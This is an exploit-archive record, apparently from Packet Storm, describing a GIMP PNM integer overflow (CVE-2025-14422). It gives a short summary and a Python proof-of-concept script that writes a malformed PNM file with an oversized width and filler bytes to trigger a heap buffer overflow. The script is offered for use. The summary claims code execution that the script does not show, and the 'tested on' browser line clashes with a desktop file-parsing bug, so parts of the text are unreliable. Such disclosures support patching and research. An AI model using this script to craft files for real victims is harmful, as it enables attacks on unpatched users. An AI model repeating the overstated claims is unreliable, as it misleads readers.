{“lastseen”:”2026-02-02T17:43:33″,”description”:”This is a proof of concept exploit that generates a malicious .pnm file for an integer overflow vulnerability in GIMP PNM…”,”published”:”2026-02-02T00:00:00″,”modified”:”2026-02-02T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 GIMP PNM Integer Overflow”,”source”:””,”references”:””,”id”:”PACKETSTORM:214671″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-14422″],”sourceData”:”=============================================================================================================================================\\n | # Title : GIMP PNM Integer Overflow |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.1 (64 bits) |\\n | # Vendor : https:\/\/redhat.com\/ |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/214572\/ \\u0026 CVE-2025-14422\\n \\n [+] Summary : This discussion centers on a critical security vulnerability discovered in GIMP (GNU Image Manipulation Program), \\n specifically within its PNM (Portable Anymap) file parsing logic. The flaw, identified as CVE-2025-14422, \\n \\t\\t\\t\\t is an Integer Overflow that occurs when the application processes malformed image headers containing excessively large dimensions.\\n \\n [+] Key Technical Details:\\n \\n The Flaw: When calculating the memory buffer size (Width\u00d7Height\u00d73), the result exceeds the maximum value for a 32-bit integer, causing it to \\”wrap around\\” to a very small number.\\n \\n The Impact: GIMP allocates an undersized buffer based on the overflowed value. When it proceeds to write the actual pixel data from the file into this buffer, a Heap-based Buffer Overflow occurs.\\n \\n Risk: This vulnerability allows for Remote Code Execution (RCE). An attacker can execute arbitrary code in the context of the current user simply by tricking them into opening a malicious .pnm file.\\n \\n Mitigation: Red Hat and other Linux vendors have released urgent patches (e.g., RHSA-2026:1591). Users must update GIMP to the latest version to close this security gap.\\n \\n [+] PoC Overview\\n \\n The provided Python script serves as a Proof of Concept to demonstrate the vulnerability. It generates a .pnm file with:\\n \\n A standard P6 header.\\n \\n Width set to 0xFFFFFFFF to trigger the mathematical overflow.\\n \\n A payload of 5,000 bytes to ensure the undersized buffer is overwhelmed.\\n \\n \\n [+] POC : \\n \\n #!\/usr\/bin\/env python3\\n \\n import struct\\n import sys\\n \\n def create_malicious_pnm(filename):\\n \\n header = b\\”P6\\\\n\\”\\n width = 0xFFFFFFFF \\n height = 2 \\n \\n header += f\\”{width} {height}\\\\n\\”.encode()\\n header += b\\”255\\\\n\\”\\n \\n payload = b\\”A\\” * 5000 \\n \\n try:\\n with open(filename, ‘wb’) as f:\\n f.write(header)\\n f.write(payload)\\n print(f\\”[+] Malicious PNM file created successfully: {filename}\\”)\\n print(\\”[*] WARNING: Do not open this file unless in an isolated test environment.\\”)\\n except Exception as e:\\n print(f\\”[-] Failed to create file: {e}\\”)\\n \\n if __name__ == \\”__main__\\”:\\n if len(sys.argv) != 2:\\n print(\\”Usage: python3 poc.py \\u003cfilename.pnm\\u003e\\”)\\n sys.exit(1)\\n \\n create_malicious_pnm(sys.argv[1])\\n \\t\\t\\n Greetings to :============================================================\\n jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|\\n ==========================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/214671″,”cvss”:{“score”:7.8,”severity”:”HIGH”,”vector”:”CVSS:3.0\/AV:L\/AC:L\/PR:N\/UI:R\/S:U\/C:H\/I:H\/A:H”,”version”:”3.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:”3.0″,”vectorString”:”CVSS:3.0\/AV:L\/AC:L\/PR:N\/UI:R\/S:U\/C:H\/I:H\/A:H”,”baseScore”:7.8,”baseSeverity”:”HIGH”,”attackVector”:”LOCAL”,”attackComplexity”:”LOW”,”privilegesRequired”:”NONE”,”userInteraction”:”REQUIRED”,”scope”:”UNCHANGED”,”confidentialityImpact”:”HIGH”,”integrityImpact”:”HIGH”,”availabilityImpact”:”HIGH”}},”href”:”https:\/\/packetstorm.news\/files\/id\/214671\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-02T17:43:33″,”description”:”This is a proof of concept exploit that generates a malicious .pnm file for an integer overflow vulnerability in GIMP PNM…”,”published”:”2026-02-02T00:00:00″,”modified”:”2026-02-02T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 GIMP PNM Integer Overflow”,”source”:””,”references”:””,”id”:”PACKETSTORM:214671″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-14422″],”sourceData”:”=============================================================================================================================================\\n…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,28,12,15,13,53,7,11,5],"class_list":["post-38550","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-78","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n